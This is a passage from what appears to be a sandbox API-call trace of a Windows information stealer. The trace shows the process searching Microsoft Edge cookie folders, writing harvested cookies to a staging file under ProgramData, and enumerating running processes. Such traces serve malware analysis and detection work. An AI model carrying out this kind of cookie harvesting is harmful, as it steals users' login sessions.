dwFlags=0x0, lpMem=0x3430330 | out: hHeap=0x2110000) returned 1 [0097.278] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0097.278] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111428 | out: hHeap=0x2110000) returned 1 [0097.278] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111418 | out: hHeap=0x2110000) returned 1 [0097.278] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x8) returned 0x2111418 [0097.278] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x2111428 [0097.278] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2111448 [0097.278] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x2111458 [0097.279] CreateFileA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\???" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\???"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x19f170, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0097.319] GetLastError () returned 0x3 [0097.319] GetLastError () returned 0x3 [0097.320] SetLastError (dwErrCode=0x3) [0097.320] GetLastError () returned 0x3 [0097.320] SetLastError (dwErrCode=0x3) [0097.320] GetLastError () returned 0x3 [0097.320] SetLastError (dwErrCode=0x3) [0097.324] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111270 | out: hHeap=0x2110000) returned 1 [0097.324] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111448 | out: hHeap=0x2110000) returned 1 [0097.324] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111428 | out: hHeap=0x2110000) returned 1 [0097.324] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21110f8 | out: hHeap=0x2110000) returned 1 [0097.324] CloseHandle (hObject=0x2f8) returned 1 [0097.324] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21112c8 | out: hHeap=0x2110000) returned 1 [0097.324] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111218 | out: hHeap=0x2110000) returned 1 [0097.325] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21110d0 | out: hHeap=0x2110000) returned 1 [0097.325] GetLastError () returned 0x3 [0097.325] SetLastError (dwErrCode=0x3) [0097.325] GetLastError () returned 0x3 [0097.325] SetLastError (dwErrCode=0x3) [0097.325] GetLastError () returned 0x3 [0097.325] SetLastError (dwErrCode=0x3) [0097.325] GetLastError () returned 0x3 [0097.325] SetLastError (dwErrCode=0x3) [0097.325] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x21110d0 [0097.325] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x80) returned 0x2111218 [0097.325] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21110d0 | out: hHeap=0x2110000) returned 1 [0097.325] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x2111428 [0097.325] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x80) returned 0x3430048 [0097.325] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x80) returned 0x3430330 [0097.325] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3430330, cbMultiByte=123, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 123 [0097.325] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xf6) returned 0x34303b8 [0097.325] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3430330, cbMultiByte=123, lpWideCharStr=0x34303b8, cchWideChar=123 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\*.cookie") returned 123 [0097.325] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x100) returned 0x34304b8 [0097.325] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34303b8 | out: hHeap=0x2110000) returned 1 [0097.325] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\*.cookie", lpFindFileData=0x19f0b0 | out: lpFindFileData=0x19f0b0*(dwFileAttributes=0x7000007, ftCreationTime.dwLowDateTime=0x5e0260, ftCreationTime.dwHighDateTime=0x5e0260, ftLastAccessTime.dwLowDateTime=0x13, ftLastAccessTime.dwHighDateTime=0x2400ebcf, ftLastWriteTime.dwLowDateTime=0x6a7ea0, ftLastWriteTime.dwHighDateTime=0x19f1e0, nFileSizeHigh=0x21104c2, nFileSizeLow=0x1a620253, dwReserved0=0xfffffffe, dwReserved1=0x7000007, cFileName="Ҙ瞒", cAlternateFileName="￿￿瘏\x0f")) returned 0xffffffff [0097.388] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34304b8 | out: hHeap=0x2110000) returned 1 [0097.388] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x1c) returned 0x21110d0 [0097.388] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x19f0b0 | out: lpFindFileData=0x19f0b0*(dwFileAttributes=0x7000007, ftCreationTime.dwLowDateTime=0x5e0260, ftCreationTime.dwHighDateTime=0x5e0260, ftLastAccessTime.dwLowDateTime=0x13, ftLastAccessTime.dwHighDateTime=0x2400ebcf, ftLastWriteTime.dwLowDateTime=0x6a7ea0, ftLastWriteTime.dwHighDateTime=0x19f1e0, nFileSizeHigh=0x21104c2, nFileSizeLow=0x1a620253, dwReserved0=0xfffffffe, dwReserved1=0x7000007, cFileName="Ҙ瞒", cAlternateFileName="￿￿瘏\x0f")) returned 0 [0097.388] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430330 | out: hHeap=0x2110000) returned 1 [0097.388] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2111428, cbMultiByte=25, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 25 [0097.388] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x32) returned 0x21112a0 [0097.388] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2111428, cbMultiByte=25, lpWideCharStr=0x21112a0, cchWideChar=25 | out: lpWideCharStr="Cookies\\Edge_Cookies.txt") returned 25 [0097.388] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x34300d0 [0097.388] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21112a0 | out: hHeap=0x2110000) returned 1 [0097.389] CreateFileW (lpFileName="Cookies\\Edge_Cookies.txt" (normalized: "c:\\programdata\\2ydss64ut35ivnksmjzuyj213\\files\\cookies\\edge_cookies.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x19f1f0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0097.389] GetFileType (hFile=0x2f8) returned 0x1 [0097.389] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=-1, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.389] GetLastError () returned 0x83 [0097.389] GetLastError () returned 0x83 [0097.390] SetLastError (dwErrCode=0x83) [0097.390] GetLastError () returned 0x83 [0097.390] SetLastError (dwErrCode=0x83) [0097.390] GetLastError () returned 0x83 [0097.390] SetLastError (dwErrCode=0x83) [0097.390] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0097.390] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ҙ瞒", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0097.390] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x3) returned 0x21110f8 [0097.390] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ҙ瞒", cchWideChar=3, lpMultiByteStr=0x21110f8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="??", lpUsedDefaultChar=0x0) returned 3 [0097.390] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21110f8 | out: hHeap=0x2110000) returned 1 [0097.390] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x80) returned 0x3430330 [0097.390] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x21110f8 [0097.391] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x21112a0 [0097.391] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x21112c0 [0097.391] CreateFileA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\??" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\??"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x19f170, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0097.393] GetLastError () returned 0x3 [0097.393] GetLastError () returned 0x3 [0097.393] SetLastError (dwErrCode=0x3) [0097.393] GetLastError () returned 0x3 [0097.393] SetLastError (dwErrCode=0x3) [0097.393] GetLastError () returned 0x3 [0097.393] SetLastError (dwErrCode=0x3) [0097.393] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430330 | out: hHeap=0x2110000) returned 1 [0097.393] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21112c0 | out: hHeap=0x2110000) returned 1 [0097.393] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21112a0 | out: hHeap=0x2110000) returned 1 [0097.393] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21110f8 | out: hHeap=0x2110000) returned 1 [0097.394] CloseHandle (hObject=0x2f8) returned 1 [0097.394] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21110d0 | out: hHeap=0x2110000) returned 1 [0097.394] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0097.394] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111428 | out: hHeap=0x2110000) returned 1 [0097.394] GetLastError () returned 0x3 [0097.394] SetLastError (dwErrCode=0x3) [0097.394] GetLastError () returned 0x3 [0097.394] SetLastError (dwErrCode=0x3) [0097.394] GetLastError () returned 0x3 [0097.394] SetLastError (dwErrCode=0x3) [0097.394] GetLastError () returned 0x3 [0097.394] SetLastError (dwErrCode=0x3) [0097.394] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x80) returned 0x3430048 [0097.394] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111218 | out: hHeap=0x2110000) returned 1 [0097.394] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x2111428 [0097.394] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x80) returned 0x2111218 [0097.394] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x80) returned 0x3430330 [0097.394] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3430330, cbMultiByte=120, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 120 [0097.395] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xf0) returned 0x34303b8 [0097.395] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3430330, cbMultiByte=120, lpWideCharStr=0x34303b8, cchWideChar=120 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\*.txt") returned 120 [0097.395] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xf0) returned 0x34304b0 [0097.395] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34303b8 | out: hHeap=0x2110000) returned 1 [0097.395] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\*.txt", lpFindFileData=0x19f0b0 | out: lpFindFileData=0x19f0b0*(dwFileAttributes=0x7000007, ftCreationTime.dwLowDateTime=0x6ce0a8, ftCreationTime.dwHighDateTime=0x6ce0b0, ftLastAccessTime.dwLowDateTime=0x19f0d0, ftLastAccessTime.dwHighDateTime=0x2400ebcf, ftLastWriteTime.dwLowDateTime=0x6ce0b0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x21104c2, nFileSizeLow=0x10006, dwReserved0=0x6794a0, dwReserved1=0x7000007, cFileName="\x19ѹ瞒ᑂ￿梀瑧\n", cAlternateFileName="￿￿瘏\x0f")) returned 0xffffffff [0097.396] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34304b0 | out: hHeap=0x2110000) returned 1 [0097.396] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x21110d0 [0097.396] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x1c) returned 0x21112a0 [0097.396] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x21112c8 [0097.396] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21110d0 | out: hHeap=0x2110000) returned 1 [0097.397] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x19f0b0 | out: lpFindFileData=0x19f0b0*(dwFileAttributes=0x7000007, ftCreationTime.dwLowDateTime=0x6ce0a8, ftCreationTime.dwHighDateTime=0x6ce0b0, ftLastAccessTime.dwLowDateTime=0x19f0d0, ftLastAccessTime.dwHighDateTime=0x2400ebcf, ftLastWriteTime.dwLowDateTime=0x6ce0b0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x21104c2, nFileSizeLow=0x10006, dwReserved0=0x6794a0, dwReserved1=0x7000007, cFileName="\x19ѹ瞒ᑂ￿梀瑧\n", cAlternateFileName="￿￿瘏\x0f")) returned 0 [0097.397] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430330 | out: hHeap=0x2110000) returned 1 [0097.397] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2111428, cbMultiByte=25, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 25 [0097.397] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x32) returned 0x34300d0 [0097.397] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2111428, cbMultiByte=25, lpWideCharStr=0x34300d0, cchWideChar=25 | out: lpWideCharStr="Cookies\\Edge_Cookies.txt") returned 25 [0097.397] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2111478 [0097.397] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0097.397] CreateFileW (lpFileName="Cookies\\Edge_Cookies.txt" (normalized: "c:\\programdata\\2ydss64ut35ivnksmjzuyj213\\files\\cookies\\edge_cookies.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x19f1f0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0097.397] GetFileType (hFile=0x2f8) returned 0x1 [0097.397] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=-1, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.397] GetLastError () returned 0x83 [0097.397] GetLastError () returned 0x83 [0097.397] SetLastError (dwErrCode=0x83) [0097.397] GetLastError () returned 0x83 [0097.397] SetLastError (dwErrCode=0x83) [0097.397] GetLastError () returned 0x83 [0097.398] SetLastError (dwErrCode=0x83) [0097.398] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111478 | out: hHeap=0x2110000) returned 1 [0097.398] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x21110d0 [0097.398] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x19ѹ瞒ᑂ￿梀瑧\n", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0097.398] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xa) returned 0x34300d0 [0097.398] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x19ѹ瞒ᑂ￿梀瑧\n", cchWideChar=10, lpMultiByteStr=0x34300d0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="?\x19??????\n", lpUsedDefaultChar=0x0) returned 10 [0097.398] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0097.398] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x80) returned 0x3430330 [0097.398] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x21110f8 [0097.398] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x34300d0 [0097.398] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x34300f0 [0097.398] CreateFileA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\?\x19??????\n" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\?\x19??????\n"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x19f170, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0097.400] GetLastError () returned 0x3 [0097.400] GetLastError () returned 0x3 [0097.400] SetLastError (dwErrCode=0x3) [0097.400] GetLastError () returned 0x3 [0097.400] SetLastError (dwErrCode=0x3) [0097.400] GetLastError () returned 0x3 [0097.400] SetLastError (dwErrCode=0x3) [0097.400] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430330 | out: hHeap=0x2110000) returned 1 [0097.400] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300f0 | out: hHeap=0x2110000) returned 1 [0097.400] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0097.401] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21110f8 | out: hHeap=0x2110000) returned 1 [0097.401] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21110d0 | out: hHeap=0x2110000) returned 1 [0097.401] CloseHandle (hObject=0x2f8) returned 1 [0097.401] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21112c8 | out: hHeap=0x2110000) returned 1 [0097.401] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21112a0 | out: hHeap=0x2110000) returned 1 [0097.401] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111218 | out: hHeap=0x2110000) returned 1 [0097.401] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111428 | out: hHeap=0x2110000) returned 1 [0097.401] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0097.401] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21111c0 | out: hHeap=0x2110000) returned 1 [0097.401] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2111428 [0097.401] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2f8 [0097.414] Process32First (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0097.418] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x71, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0097.418] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x130, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0097.419] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0097.420] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0097.421] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0097.422] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x200, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0097.422] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0097.423] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0097.424] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x278, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x31, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.425] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.426] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x200, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0097.426] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.427] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.428] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x38c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.429] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.429] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.430] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.431] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.432] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0097.433] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x60, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0097.433] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.434] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x31, th32ParentProcessID=0x620, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0097.435] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: 